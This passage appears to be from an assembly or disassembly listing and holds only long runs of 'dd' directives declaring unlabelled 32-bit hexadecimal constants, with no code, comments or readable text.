0FD7C12B0h, 8D433E16h dd 1DB6287Bh, 7182E3C3h, 8B9B77B7h, 6F0FC59Dh, 0E1070C22h dd 0BD89EA6Eh, 7995D5C8h, 5A350AD0h, 5A0F6B27h, 0AA27E08Dh dd 7549C7C5h, 81C56Eh, 4EEB8422h, 496519B9h, 0F31999D5h dd 0CB87AAA0h, 0FAA69425h, 0B4C41D9Bh, 0DCF3A3Bh, 57F9ABDBh dd 71BEC2A0h, 1ECF849Ch, 6FB9E1D9h, 6BB6EC84h, 80B62726h dd 5E86C29Ch, 0C098995Dh, 789CD723h, 6992566h, 0B3F099B8h dd 6B0BD871h, 0D78D0A7h, 0A7B88EEEh, 7D089A43h, 0C9F6CE7Fh dd 3B6D27EBh, 2AFEAC7Eh, 0F7C4E6FFh, 9106287Bh, 0ECA155B4h dd 1205508Dh, 320E78B2h, 0F65FD70Eh, 0E5101C0Bh, 32C7F83Eh dd 81671FC4h, 261DC620h, 0B071C808h, 0F0F1EC96h, 0F64EC5E7h dd 64F0788Ah, 0A20B3FC6h, 50607A99h, 5E4CB137h, 0F2729FD3h dd 9560981h, 218D1CB7h, 0E4897EBEh, 23EBF090h, 0E030DCFBh dd 8A05494Bh, 7ED9E66Fh, 647EB7F8h, 61806356h, 17C9CB16h dd 673ABFBh, 438D0C0Ch, 5024BF92h, 60887D1Bh, 0A383BAFEh dd 0ADE75BF8h, 2CFE5EBFh, 75BB766Ch, 45BCEF6Dh, 6788385Bh dd 0D12E9337h, 0D7E9920Ch, 0B8233907h, 65CAA6A2h, 0C9127118h dd 7ED482F2h, 429E777Eh, 0D0B1B6Ah, 0D5589BE5h, 3E619387h dd 2F31EEF0h, 74FB952h, 0D9E303D7h, 665A0580h, 951E80CDh dd 5397DD73h, 0D5633F2Bh, 17ADE7EDh, 62356421h, 0C4E62712h dd 91907508h, 380270C4h, 0C902E12Ah, 0F570E57Ch, 0E45758C9h dd 21AFB543h, 5055399Ch, 2374ECF3h, 0D21549AFh, 4CEF594h dd 0E1E65F90h, 0C61AF54Ah, 430D66ABh, 0E532AA5Ch, 0F2850A86h dd 0D65AD865h, 899BBA2Bh, 2B51D3Bh, 0B8720453h, 2C615D42h dd 0F19FBB2Ch, 0B2EF96Ah, 0BFF98B20h, 2440837Dh, 0D8F8D609h dd 6977B55Bh, 0B4719419h, 930DA3E7h, 43122C62h, 6FFFB61h dd 336C2079h, 50808E34h, 35BA0779h, 0A02503D3h, 67457757h dd 275D3CA5h, 0AA3C7EDDh, 70A8AB5Bh, 85A2DD88h, 5720B746h dd 905074EBh, 685C5F2Ah, 93A5C3A3h, 0A2F160F9h, 0B6169F54h dd 0BE196ED6h, 5CF49FE5h, 65B1866Bh, 0BEF3D709h, 7DEAB8E7h dd 732DB293h, 5D0EAD99h, 7DB475FFh, 518A9736h, 41552025h dd 99192E7Bh, 1158A726h, 0A0E9C6B3h, 386030D5h, 0D702BF6Fh dd 0EE84729Bh, 0C78425C8h, 0D8E12455h, 9DA98FD7h, 35CEE845h dd 4382D9h, 0A73709C7h, 0BA375890h, 5489690h, 392AB613h dd 6E4F1097h, 443345DAh, 734DB12Bh, 6B01D1CAh, 1EE7536h dd 0CB5A2FC3h, 164A805h, 4B3EB46Bh, 0F5D9BF1Ah, 0F0DDE53Eh dd 0B62DC7C9h, 0D513B92Eh, 0C67488B7h, 5535F005h, 4572C6B5h dd 0E92B93AEh, 0DCBF88Fh, 0B5A3A7F5h, 0DC618216h, 1DBD0FB1h dd 0BEDBE82Bh, 0F08FBD8Eh, 4BA2B4EAh, 2102DB46h, 0D74E872Dh dd 64002902h, 0BF8B436Fh, 0B6201613h, 83C7F5C9h, 124FAEA6h dd 9194E6EFh, 5C97BBDEh, 89A02C70h, 9E9BB761h, 64E1C71Bh dd 0AB7F7C70h, 218FA86Dh, 1B2BDB60h, 645DEE37h, 24D4F0EFh dd 53C5A71h, 0EB7907DDh, 0A1F2413Bh, 13E77B35h, 3648CBC1h dd 3741B61Eh, 8D120288h, 0BFBEF33Ch, 6B2956ADh, 5BA1AB1Fh dd 78D3A39Ch, 0E5455512h, 4B3C6B77h, 7F6930C1h, 0E2A38F30h dd 9C112B23h, 0BABC8FEFh, 8D9F9EF6h, 5C63516Fh, 0D2C8184h dd 85885DB4h, 0ACAEA44Dh, 220C8514h, 5DF45AC3h, 9B40FA80h dd 75B17EE7h, 86699C61h, 3F592AF6h, 749C6793h, 9652A48h dd 7F62A95Ah, 6F89F9BFh, 2A066F6Eh, 5022BBD9h, 1AE04656h dd 0B69E8873h, 0D4EEAE9Dh, 59BCC869h, 5667D879h, 0C1B946A2h dd 33A19E49h, 5AF68DA5h, 573E74C5h, 0FFC05C5Eh, 5ECD1F50h dd 0B4FED4FEh, 2B5552DFh, 0EDD454D0h, 0DB7F1961h, 166D0966h dd 3C17FC56h, 0DDB47A49h, 0EB592CFAh, 6CFBB7E2h, 367F543Ch dd 912F281Fh, 0AAA85CC4h, 0C6C0D446h, 5A0A4DDh, 0C072A164h dd 0AF9EE249h, 6D0E0546h, 67F97743h, 181EEE18h, 9EB0543h dd 23598E64h, 59B83BB9h, 38FC3934h, 53A814D1h, 6DF79DC5h dd 0A0E497D1h, 0F515738Eh, 0E1E4E095h, 1111225h, 303489EFh dd 3BEBA8B1h, 24622940h, 0BFCCAD0Bh, 5BE58410h, 767FC58Dh dd 74C38C2Ah, 15BC960Bh, 38A175C9h, 14E3F70Fh, 38046A7Ch dd 0D877A82Ah, 0B5B689EDh, 0D4303E69h, 0C4479D5Ch, 5483C429h dd 4DF51C36h, 0D2446DCBh, 17741ADEh, 0E703E8D2h, 0B42C830h dd 0A11C573h, 36DDD790h, 402EAF1Eh, 0EB195D45h, 663F3573h dd 0AABEB25Eh, 640841EBh, 0B3C9C0C7h, 0A8C15FA6h, 6CD61160h dd 667E615Bh, 9D10E64Dh, 0A5508595h, 49AEF13h, 0E5CE0872h dd 3CAF7C33h, 0FE869417h, 0A1BA3A2Ah, 0F8398081h, 1D61118Bh dd 3054ECCDh, 0E81270D9h, 7E923FE0h, 0BE68BC1Dh, 0EA5CA84Bh dd 0F937776Ah, 52AF1441h, 85F86C75h, 0CF29C29h, 1B41C8D4h dd 0A31310B2h, 0F2D242Ch, 4CD9D49Ah, 702BA11Eh, 842446F3h dd 16BE85C2h, 7501D4F6h, 89D017ADh, 6DC7647Fh, 0FF4EBE89h dd 10FDC242h, 68C78E74h, 0E5A25D4h, 0C3858EFEh, 1A54B5D0h dd 0D60A6CBh, 76A18A27h, 1C4450ACh, 8909FA31h, 6DE77BDh dd 46CD4FB6h, 0B7D902C7h, 63C8E352h, 24AA2EF6h, 0A6850A26h dd 430E8A3h, 14D1741Eh, 3BBCAB6Dh, 283FD617h, 8D1770CEh dd 826E9714h, 4D35C5C9h, 0BF06B22Dh, 741C6BB2h, 0D07D08E4h dd 2D5D62AFh, 20256105h, 0B7C81F20h, 11427D5h, 0B848EC25h dd 4FA18D4Dh, 7BBD87B9h, 779021A7h, 2AF88930h, 0D2401C55h dd 8D2742BAh, 51EAFB63h, 25535977h, 1FF81241h, 0A887DA6h dd 0AEB999A6h, 0E50ABCD1h, 96EC6E51h, 2AB231D8h, 139404BBh dd 0F68C3AE5h, 2D4714F2h, 41452728h, 6F8199F4h, 0E262B68h dd 0B974B6F1h, 0DD272D7Eh, 2A9D210Ah, 4B13C1ADh, 96302E1Eh dd 649BF7FCh, 0B1C18AB5h, 0DB094BFDh, 3F1AA7D8h, 8AF4A990h dd 535534C0h, 0DF20CF8Eh, 4632D937h, 27DB1911h, 98C6A5B8h dd 0C60086B0h, 0C95728DAh, 0E7DE6739h, 281A0B04h, 5714FD9Ch dd 578E47D2h, 8D8F7DB1h, 628B8680h, 172226B3h, 0A4B8BC56h dd 6638DC78h, 0E990BEE3h, 42B08910h, 0ADB0113Eh, 0CE883A4Bh dd 0F36EE611h, 0AD236D62h, 899B12h, 6FFDCF04h, 0E6F85870h dd 0BADBD47Eh, 402D12EFh, 46C340FDh, 0CE659F33h, 0F34E8BEDh dd 0A949453Dh, 0A6165A2Ch, 2E08427Eh, 28F61C27h, 51CCCFDDh dd 1108E057h, 1FADC577h, 0AA1D6BFh, 0CF182F62h, 5CE2E0A4h dd 0DF578668h, 0F519B59Bh, 8629D498h, 0A98C21D7h, 0F9196C66h dd 98DEFD8Ch, 3E0C9407h dd 5E47C6A8h, 0EB20EB10h, 989AFB32h, 3DE9E248h, 1BBA953Bh dd 0ECC3FD9Dh, 0B2FA8E7Ch, 2447014Bh, 8EE57E65h, 472780FDh dd 0D3C31478h, 3D31CEBDh, 0E3AD1D96h, 7D964105h, 0BA0E1FCh dd 0AFD1B71Dh, 0BEAE352Ah, 90F62F29h, 0E1FD65C2h, 39DFDF60h dd 3F66B138h, 0EFBF2AF1h, 0A3ECEF24h, 0F3C1E828h, 71B499D5h dd 391F125Eh, 3D89BEB5h, 0C2F8126h, 68493B33h, 97B4883Eh dd 0C7A6F9F9h, 0AA6ED3EFh, 6DC0493Fh, 0B16CB8E2h, 0C50B92F7h dd 0EA42B30Ah, 146396EAh, 608CE3FFh, 4D3C89BFh, 0DADBF8D3h dd 530C2E44h, 0D8AAE866h, 0EB81C51Ah, 606BEBA3h, 1468C1C2h dd 9C3FA3B9h, 0F80905BAh, 3D8DFBFDh, 8BA3C269h, 9990FE96h dd 31A43BB8h, 61B1C1AAh, 0E7A923EEh, 83FBC7C8h, 25B05466h dd 68F0ABF2h, 20C677Ah, 0CE1C9EAAh, 2413C4h, 0FCD8F0D0h dd 0F45A23DBh, 469D7281h, 8B13F189h, 0A89B4B41h, 40C98976h dd 43D632h, 29F071A1h, 32673B83h, 0A48BEA0Ah, 7A817D8Eh dd 96944D9h, 923D879Ch, 8FAEF97Dh, 1BD13C97h, 50F0A8Dh dd 76E6FE2h, 59D544CCh, 5E5F760h, 47FEAAB5h, 7F05413Ch dd 6507617Fh, 6C7E5CEFh, 0D7C1F481h, 40BF4733h, 26474AA4h dd 0AFDACB31h, 28F61B84h, 14217D31h, 39F23C1Fh, 0AD00BA3Dh dd 0A28D5197h, 4F23D781h, 0B02D9845h, 0DD7EB411h, 3AD9BDBEh dd 8DAD7839h, 0C2272FF3h, 6B305DD3h, 221A38ADh, 0A093AD9Dh dd 537E6B2h, 896A999Dh, 94779CB1h, 3415A3E2h, 82D5FE0h dd 0B8C66308h, 2E3FA07Ch, 1D977BA4h, 1A2868BAh, 32AF3822h dd 0A8937B8Fh, 0BB338771h, 370EA853h, 7FBDEDE5h, 0AB565857h dd 0ACA30D13h, 0BEC4EC64h, 76996088h, 0E41802F0h, 3299F92Ch dd 586A4D90h, 0AD887DE0h, 0FF7A6120h, 5DD9A545h, 22EFF0D6h dd 7943A215h, 171C7371h, 0F4EF7241h, 0D94308D9h, 0D9DB1FA6h dd 0C2D4B1E1h, 9083099h, 82309D37h, 26788A43h, 1AA492Fh dd 76ABD974h, 0AC50FEEBh, 502E5832h, 0C569BC73h, 80E4E4C5h dd 3FC9F9EBh, 8FF45545h, 6DD63FB7h, 0FCE2553Ch, 61168748h dd 0ED1F2D0Fh, 8E5E4158h, 1F8B6D2Eh, 0D839EF00h, 0B08E76F0h dd 0DB38D9C7h, 0AEE026A2h, 0DDE4BF2Bh, 0EC43E3E8h, 0EB7D8680h dd 0C7B5B935h, 0B548E1ABh, 0A50142E0h, 4507D657h, 0A4909F53h dd 39928137h, 0BE9B334Dh, 0BC512E6h, 0EC61E1F7h, 0A5313E61h dd 0B82343B2h, 4E54865Bh, 23AE3FD4h, 39F6F2B5h, 89F3A488h dd 1CAAF5F2h, 848797D2h, 65EA03AFh, 0AC69D023h, 96F274Dh dd 0C5B81917h, 6D230539h, 0C5A02620h, 445A5Fh, 5A62B11h dd 51008A52h, 5050DA2Fh, 7ED019C8h, 82EFD6BBh, 6F7026FEh dd 49804BD3h, 4ECA66FBh, 87E9217Ch, 87155550h, 0CAEBE606h dd 8FF6D18h, 971BC2Ch, 0FC6059DEh, 7249ADE5h, 1E807D4Dh dd 0EA74B876h, 682B9A87h, 67AD6276h, 51DF102Bh, 8F694D72h dd 0B798F5D7h, 77498482h, 0D4FE5388h, 7A54341Ch, 0BE432C81h dd 6EF5BC60h, 846C4D95h, 0B6ADB349h, 25BFA256h, 0D0C16622h dd 120A64E1h, 0C2FA8C13h, 0D05527D5h, 0DF9F1469h, 0F9E4A453h dd 0DD2DF808h, 9591E42Fh, 73A191D4h, 2674C977h, 5114405Bh dd 476BBA48h, 1B9EA6C6h, 22934CEAh, 0CFFFB3EFh, 8B93C532h dd 0E74AB6F2h, 2BA5308h, 87B6B86Fh, 4BACB91Ch, 0F0685648h dd 0B693664h, 4F6F704Ah, 6C13FA29h, 0C416B3BEh, 0FB5C7C5Ah dd 30E6D43Ah, 78F55414h, 10FCC370h, 0CE42D9ACh, 973A824Eh dd 0F66E5450h, 3F88AE54h, 79CF1FE8h, 12017336h, 0E18BE3E3h dd 19BC09Ah, 379C2BA6h, 0FFD7D192h, 0CC2B447Ah, 1921E375h dd 9494660h, 0FE264C4Ch, 0A066039h, 1E5CDA03h, 0F61A21BEh dd 0DE1D7DE7h, 4B3DCC88h, 74F02CEBh, 7C349AF9h, 31D46D86h dd 352EEED9h, 603E8BB5h, 35D589h, 1A661C1Ch, 9BEC1747h dd 90649756h, 0D26BC001h, 261E64B6h, 0E90847F0h, 0CA176704h dd 2C743F2Eh, 9872B111h, 9BB3869Bh, 0D83B9FCFh, 37F17AA7h dd 285FF860h, 6C4EA7D6h, 0A233673Ch, 22FC0009h, 94B2BC77h dd 0F49784CDh, 0B4EF3C97h, 854FFA64h, 6E0A9Dh, 9CF5A7ADh dd 3BA3FB4Eh, 0DACD973Ah, 1E003054h, 93036F5Dh, 9B75552Fh dd 0A0A45F74h, 8C23A40Dh, 0F2D1627Ch, 0C7DB9BEAh, 82A63D70h dd 6438EABAh, 85AA16F2h, 0A62C5BDBh, 95FE3DC6h, 0F48ED1D5h dd 0AC62FDC7h, 23BD685h, 5445E394h, 0A3C65621h, 4FDB759Dh dd 0F2047828h, 1E59F1AEh, 25F330EFh, 0E93700FBh, 25B9764h dd 0CBA92A8Ch, 0FEC1E11Ch, 0E2CDAAAEh, 0BC227C18h, 3C909BC7h dd 4EDFD2F7h, 0AEAD327Dh, 9F21D4h, 0F37A325Dh, 877198FEh dd 0BBC5947Eh, 9FB9E798h, 0C06D2576h, 1637E049h, 0EA90C5D4h dd 6B6EF291h, 55137969h, 4035EE47h, 4C7F4C45h, 0ECF866B9h dd 8442B5EBh, 0BF9B1EE2h, 8943FD17h, 0C8003ADFh, 0D3A17FC9h dd 0CE754AEEh, 8C90B9ACh, 3979D54Dh, 4F39AE0Fh, 0C0356F6Bh dd 0B9DA4C38h, 7D4E5AEEh, 806FD4EBh, 0F3041D87h, 1035972Dh dd 1004B8A5h, 1958C6E5h, 546DFF43h, 51FD32D8h, 7BBE5905h dd 0EAB7BC21h, 73F9F258h, 1267C907h, 0B3B2F494h, 41A20C51h dd 0D14A3FB6h, 0B2302E9Eh, 0A93C121Ah, 501935A0h, 0FC494BBh dd 798A1DF0h, 0D3B1ADD5h, 15DEB5FDh, 10BD33BDh, 0ADE20E21h dd 5B27D3F9h, 492EE441h, 0A1229770h, 0FF595644h, 0FC48BF1Fh dd 7A5FD80h, 0EA2E0673h, 0A007ACAh, 743F44AAh, 0F8EA252Bh dd 4A1D631Eh, 93B862C7h, 9974F458h, 0C0735A14h, 3BD38DF2h dd 4AE717F7h, 4FB8318Bh, 0D8659B82h, 7BAA26FAh, 0B092FDD6h dd 84530E0Bh, 0ADE4493Dh, 8BB166FAh, 0E1FF15DCh, 0BE769BA5h dd 92E09297h, 5DC6E02Eh, 0E941839Bh, 982062DBh, 0C2D224FAh dd 35E8B838h, 0BED584A4h, 0F8F61944h, 8F5250DAh, 1730AA10h dd 0A40FB842h, 3A450B92h, 216A1B13h, 8155C516h, 2B4709D3h dd 4F509D8h, 0F6AE638Eh, 0BB8443A6h, 0E1ACAB0Ch, 6D9D18A3h dd 0A9D94687h, 123168D6h, 0DE6D7836h, 843D35Ah, 1144061h dd 701C8426h, 4565955Ch, 176AADE4h, 58C81D8Ah, 0CB06A011h dd 0E42633ABh, 999D2177h, 3178D4CFh, 0B5820102h, 0EA169A5h dd 47CC6E7Dh, 0CA367F72h, 20E7C54Bh, 0A52FC005h, 2B6A17B2h dd 3746B919h, 0BF6C6A17h, 0CB9EEB0Fh, 1743D73Bh, 0D52FE140h dd 0C61EC913h, 84DD403Eh, 27FCC05Bh, 6C15918Dh, 90EB862Eh dd 9AF4ADE0h, 0A954EE1Fh, 0C306A2C5h, 9A4AD260h, 79ADBEF8h dd 0B0778948h, 11366734h, 454A1152h, 0F353FBD8h, 0E6854AEDh dd 0B7472092h, 0D4099744h, 1C0195A8h, 0A9323830h, 812B39E3h dd 0C30B4DECh, 0A8F2CF21h, 57B1FA13h, 23F22AF8h, 16BDBB62h dd 31F4BF2Ch, 534CDB86h, 24307F58h, 77D78FE6h, 1478FB91h dd 61A1416h, 0FE1C9064h, 9AA72F8Eh, 39F835Fh, 36C9E44Dh dd 0BEADD54Ah, 0D0204A0h, 8358E86Fh, 61ECE2Bh, 0F8E70F05h dd 0F1743533h, 2D2C8D1Eh, 7FF845EEh, 0C9A812EBh, 37EC316Fh dd 0B087EFA6h, 5F06CA44h, 44B951ACh, 0FCCF05DDh, 2741D019h dd 0B486217Ah, 6D3C949Eh, 0AA55A55Ch, 17FD72h, 84DE37A7h dd 0A3A8DC79h, 9078269Eh, 6B581FA6h, 0A6F0BD7Eh, 0F50BE350h dd 4053DCDEh, 4AC32562h, 759CE2D1h, 45445A3Ah, 0C6456B2h dd 0F511B70h, 0E7D49A6Ch, 8F0F5E44h, 0BD0CA046h, 0E2348078h dd 57D9DDCEh, 0F52A41E6h, 246EE13Fh, 0D2EFAB6Fh, 0D8BC6B95h dd 9C1BB5EBh, 0E0E04996h dd 0EA9FBB24h, 2BAF9C7Dh, 90304037h, 47F4CAA8h, 0ACDC281Bh dd 0FAB67E46h, 7FCB9341h, 4DAF6FAh, 2E896DE2h, 79113B44h dd 0A053EAF8h, 0DDD29A2Ch, 343192F6h, 0C599F06Dh, 5E032B94h dd 0D3C7733h, 7E82E993h, 187D2F3Fh, 4FAB6807h, 0DEE0730Eh dd 0F5D6129Dh, 0B1D998F5h, 128AB581h, 0B5CB9AF1h, 0F9D0080Ah dd 4F344F61h, 39647288h, 202A8E2Fh, 0B02B7265h, 73F34372h dd 0E1BF01D0h, 0E0E7E270h, 0B46AE463h, 0FEA64F92h, 0D4D94E40h dd 0F4C38C0Ah, 0B5BB5F68h, 0B1B0EBA3h, 0DDD3F99Ah, 0CC3A59DEh dd 39EA93E2h, 0A25ACCD1h, 0C63E76D0h, 52AD1AE9h, 59D55EBAh dd 0E10B520Ch, 0FADA06F2h, 7E95D244h, 80863C44h, 0BFB1BD01h dd 0C5E246ADh, 0E8B09636h, 52025590h, 2C1F7E60h, 3FDC0F34h dd 4589E464h, 77872D68h, 4F08A4A1h, 0CA0BCDA9h, 0CE3FA063h dd 0BB511FBBh, 0AE1440C0h, 2AEB4288h, 3D9AB79Dh, 0A5D935D5h dd 0F72241D0h, 96F957E7h, 4D7F9556h, 379AD135h, 8EFFD6BBh dd 7F597C80h, 47153C6Bh, 74DF8B3Ah, 0F0FFC1C3h, 4A039363h dd 7F493659h, 8AC48B51h, 0D93B916Eh, 0B44F3798h, 6B79A9B9h dd 37C19D20h, 6A8B88F2h, 0EC50A6EAh, 0D67CB7E7h, 0D35936C3h dd 85B9ECFBh, 0DE6FDEE4h, 5BC6BEC9h, 0F21B874Bh, 55CD2C4Bh dd 95332B98h, 0BB2996CDh, 0F1D895A3h, 0A9C330CAh, 8F90F5B1h dd 65E50306h, 6D2A8FFFh, 0DD43C5A4h, 0A3122B85h, 26719C01h dd 631D105Bh, 0B4D35148h, 0B5F803D0h, 3C417099h, 0A8C8BA1Bh dd 7E8F0BB1h, 3F9D702Ah, 0D9E432EAh, 81FF0F1Dh, 0E06BB0E2h dd 0F0F969E5h, 0F1DCBABh, 1FBD5A9Fh, 46E0645Eh, 0A4144805h dd 0DD78B86Ah, 2D37A02Ah, 0BA4B4DDCh, 304F5580h, 0B423C557h dd 0F0B60283h, 3471BE45h, 0E796B8BFh, 0BFE77A4Ch, 0B0A73286h dd 0A37F2DF0h, 0ECD76093h, 0B3D1CFE7h, 60DAE2B6h, 0CE9B1446h dd 18679D7Ch, 14105D82h, 0C88CEDDBh, 5E4AD933h, 1D226FF7h dd 25664494h, 6838B821h, 70BAF6C6h, 96D8DB3Bh, 0F2FD0EF7h dd 9D41170Dh, 3996F8D9h, 0F183CADCh, 927CB632h, 9019C9D7h dd 0BAFDD6E0h, 0ABABFEAAh, 866DB439h, 4D3412D1h, 0A3962011h dd 0CDB3480Ah, 5927CD8Ch, 61AE9898h, 0AB6057E7h, 3D25099Eh dd 0A2103A31h, 9B7DE3EFh, 3D913870h, 56A5ED17h, 0D4526DFAh dd 0E8831F13h, 0C34DB7BAh, 2FAE476Fh, 44521524h, 83074B80h dd 0BC2D17F8h, 4A63D403h, 8B19D282h, 9AF9BDB5h, 81B29CF9h dd 44376876h, 9DD4C3E1h, 0E604BDE7h, 6C364B69h, 60890B10h dd 9105782Fh, 87889CBAh, 0C3C3756Dh, 1801E74Fh, 80B1E44h dd 19E78F82h, 0E19E6EE8h, 138CC2F3h, 242E9B11h, 5C7AB6A5h dd 0BAD8BE24h, 11F6D129h, 66E6080Ch, 72BF7CBAh, 0FA03717Eh dd 0A50833BCh, 0ECC55AC5h, 711F7F59h, 6B842133h, 86101C06h dd 3B3DD562h, 40FEC1EAh, 0EBC1DF87h, 0FCD7CB30h, 0D645E452h dd 0ED9C0CB3h, 552AAF62h, 30BAEA3Fh, 0CEA111CDh, 95AC6B83h dd 0D8401BFh, 127DF80h, 8586A49Bh, 4681287Fh, 0AC63104Ch dd 2E77B723h, 0BF093508h, 7832EDDh, 0C2160E63h, 1E518505h dd 0DCFC7FF0h, 0F0E2A0D7h, 0B00BD212h, 9FAC8E2Eh, 994A98F7h dd 5C1D45CBh, 0F6D236C2h, 3CD20303h, 5262A234h, 0B6FFFFCEh dd 415E27Ah, 8CCE685Dh, 0C93270ABh, 0DF6C14CBh, 0A429CEEAh dd 85528ABFh, 24C8E018h, 5D18FD98h, 847E6A6Ch, 9B83520h dd 0D963EA87h, 0C4D942F7h, 0EEC47600h, 0BAF079BBh, 0EA1E984Ch dd 49ABD58Ch, 0D11D9939h, 6E86C1F8h, 0FF12C970h, 0EE18B0C3h dd 5E8D8CF6h, 0C2668419h, 4125AED2h, 0F0D90945h, 0B1BAF9EEh dd 1E209DE7h, 0CD382A39h, 0DD99AD27h, 6BB45FFFh, 613061D3h dd 4C08DCA4h, 7EE83A62h, 0E4769C3Dh, 0F6F4AD55h, 0C2812096h dd 3C897A16h, 879A7E38h, 3039DC05h, 14F78CF9h, 889542FBh dd 0BF440DD2h, 0E1EA48Eh, 8C8F07E1h, 7C28AE06h, 0A531A100h dd 809876B7h, 4160499Ah, 0AC752E1Fh, 0E7EEB75Eh, 50523AE7h dd 0FFDB6B3Dh, 0A00637Dh, 0E2F3B121h, 3DECD12h, 3E4A0D8Eh dd 0C5552427h, 416DAE0Ch, 0F98717FDh, 0E6AC1743h, 33F593FDh dd 2C903A68h, 95623192h, 0EC4C092Bh, 12414579h, 0D61C2050h dd 9169E166h, 0E46B07A0h, 8CAC2E37h, 2402DEA8h, 0E4BC7B21h dd 0C622F966h, 0A21D0E5h, 4FB8A5A2h, 6CCE1479h, 0C166651h dd 0D6FD847Dh, 1A6A6EDh, 0DCA1A552h, 0D173CA03h, 58A372DDh dd 0DF20926Ch, 8C29A1CDh, 1090DFC9h, 0CB1CEF37h, 677C75CDh dd 0C79852C6h, 6DB0D7BAh, 0A3CF25ACh, 55875B40h, 8944BDDAh dd 5D314DA2h, 0D6CECEE2h, 3711D66Eh, 0C3B425F4h, 709B8194h dd 0DB2F41Ah, 8C69692Dh, 0E6CDA2F1h, 0FD6843Bh, 0D6F42E55h dd 7B566D4Bh, 35C0C640h, 0D637ED7Ch, 6A81A152h, 0B74CF92Dh dd 0D276DA9Fh, 10482E2Bh, 0E7719591h, 0E10575CEh, 8292807Bh dd 124E0E7h, 287E2539h, 0D323190h, 5A67654Ah, 7E5CC82Ch dd 0B6DDB4F3h, 4DB8365Dh, 96058C16h, 0BC66EBAFh, 0EC63AA28h dd 78CB269Ch, 0B15E4CE0h, 0A498AFEBh, 0C19C8846h, 9782C659h dd 0BEEFFDBCh, 5C3B45AAh, 0C735E21Ah, 20B453D8h, 0D41557A2h dd 272B9E8Bh, 89FD0291h, 467EA26Ch, 5E6B2FBFh, 5FEEFDD1h dd 592F87C4h, 597EBB6Eh, 0ECEFE9B2h, 76490BCDh, 3447BDCAh dd 0C3265875h, 5E790832h, 9137C9B4h, 97318E42h, 0BE6B81CBh dd 90DDD24Fh, 17981107h, 0C1EE73DBh, 2D690484h, 76ABED9Bh dd 0E475573Dh, 393BB081h, 0E7C70F68h, 0FD684DF6h, 4DA9D45Bh dd 0DFF65532h, 0C2113BF9h, 0C668A94h, 2CA88466h, 0F5053A70h dd 0CD3A56BFh, 485EBE54h, 0D32B0411h, 0F4167802h, 0B834F12Dh dd 0BDB7A7D5h, 0D8C5634Fh, 0C0D5A961h, 0FFEFC635h, 0D41E3B4Ah dd 10CCA3DAh, 2686A46Fh, 3EFBFD54h, 0FB4277AEh, 7DE5D434h dd 0E9EAD915h, 0D201822Eh, 0DA4383B4h, 0D179E762h, 0A48D3727h dd 0E30A7EEFh, 0CB9F354Ah, 0DAFF937Ah, 11A9FFDh, 7846F7E9h dd 1402A7A4h, 0F8B7DF45h, 0BA35700Ch, 1F026DFBh, 98CC3EE9h dd 433361F3h, 10B59024h, 2B19DF34h, 0C8D78E6Bh, 685A8891h dd 8B1BCB41h, 983E549Dh, 38B47CEFh, 0F5F9E00h, 0A15F00F0h dd 208E678Dh, 374B40A1h, 0F0631B94h, 1329BEB1h, 1C5684C4h dd 6B0488DFh, 33DED07Bh, 54075425h, 0FFDCE329h, 5CBE3FC4h dd 323BBF77h, 271277AFh, 0E1E7EBEBh, 0AA83D643h, 3972FF23h dd 641F0668h, 0AB3AA1C1h, 13EE61DAh, 0E26096EDh, 53E0A628h dd 0A72E83Ah, 0BC5E38F5h, 5FA25EA6h, 0A9CB6090h, 0E9C18E46h dd 0A0C0A663h, 4BBF294Fh, 9758D8DAh, 0EABE701Bh, 3F040B88h dd 0F7FA4A36h, 0CA425981h, 0A5E12777h, 46180408h, 0AC4B136Bh dd 5D343FDh, 148E2334h, 0C2EFDF29h, 0D3442DD4h, 0BA94EDF1h dd 0AB9D039Fh, 0B6BAC41Bh, 0F3A4FE2Bh, 8CC15002h, 71F29143h dd 1FF35C6Ah, 875E2A88h, 49D55731h, 0B2C414h, 568E5947h dd 497B0982h, 667D130h, 0DA60C1Fh, 0A8AEA3D0h, 283B15C1h dd 8AEF8428h, 15922C9Dh, 0BD4ED627h, 7A363F46h, 73026A28h dd 779C117Bh, 0B33C6BFBh, 0BCF3AD48h, 7572AEB7h, 0EEFB8719h dd 9F93D762h, 8F40BB07h, 0C3463167h, 70667978h, 0A87503CFh dd 3836B836h, 0EADB39DBh, 0E2C05C16h, 0ED41C41Eh, 0F55265CDh dd 4A3D38h, 0D6D366B4h, 510E70C6h, 0CC5A7D94h, 0D32CFAF1h dd 0EB66B803h, 2726BBE4h, 3A537C18h, 92A728CAh, 0C53648AEh dd 0A31A0490h, 0E454C460h dd 0A8299CA0h, 2DAF6883h, 2BF44383h, 54447103h, 85FC2789h dd 66139D7h, 2DBCF8E3h, 0CBAAED6Dh, 0D258021h, 0A739A96Fh dd 49E45A77h, 0DDD68D18h, 52E13B3Dh, 59A44570h, 24663E60h dd 94F1A72Ch, 1C64229Eh, 48E95063h, 5A1CBC18h, 10B8823Eh dd 2600C2F4h, 0AB3D1850h, 0C8E51965h, 0C3A1C85Bh, 0E9385734h dd 344EB02Eh, 0A6AF7207h, 0AC4AA18Dh, 990D3FE1h, 0E2259A64h dd 6DAA10DCh, 0CF0762EFh, 0A1017D23h, 4B53655Bh, 0B231C3B6h dd 0FE12F725h, 909A2A90h, 98645BD8h, 0ABC4E0E8h, 2E8E56h dd 2386906Ch, 0DAF37930h, 85D0EACCh, 1CEF26E4h, 64B4270Bh dd 318EB396h, 0D03C78BEh, 55F6DA40h, 3E37C3F9h, 571D0709h dd 0E270CC9h, 0F15F329Dh, 4AD37489h, 7C168FD8h, 95937093h dd 911D3669h, 0E3A894CEh, 3110F8C5h, 0BB38D88h, 5CF8B21Dh dd 4347724Ah, 29FB5F88h, 0C2F18BE5h, 73028D17h, 0E2CA55FEh dd 83305BF6h, 4DCC4098h, 0B4E600B7h, 33119000h, 98E717C2h dd 0C9A10C78h, 0CF3AD4EAh, 0ED6D685h, 0D97AF1EEh, 1B6DFB76h dd 7FA5683Fh, 0D95B6ACBh, 99772DD2h, 0E9D3208Dh, 8D3F5427h dd 0CD158785h, 68AA3106h, 84237FB1h, 0E7D82350h, 0CC468F9Bh dd 0E83D6443h, 7B8705C0h, 66D64BFDh, 0B5B4781Dh, 7FAFC20Dh dd 0E6C494B0h, 3A548246h, 907D93EAh, 0A8FEDBDEh, 7E927AB4h dd 0C2DEBB99h, 0D9A2BE5h, 974A76D3h, 2F94DC9Dh, 27EBF6C5h dd 0F5388BC4h, 0FD58F1BDh, 2B01134Ch, 0A2E4F138h, 56E102h dd 0A74756A3h, 0A234D2C9h, 0F0DB1E21h, 514047ADh, 0CE46729Fh dd 0D2FF59F8h, 0E8038CBEh, 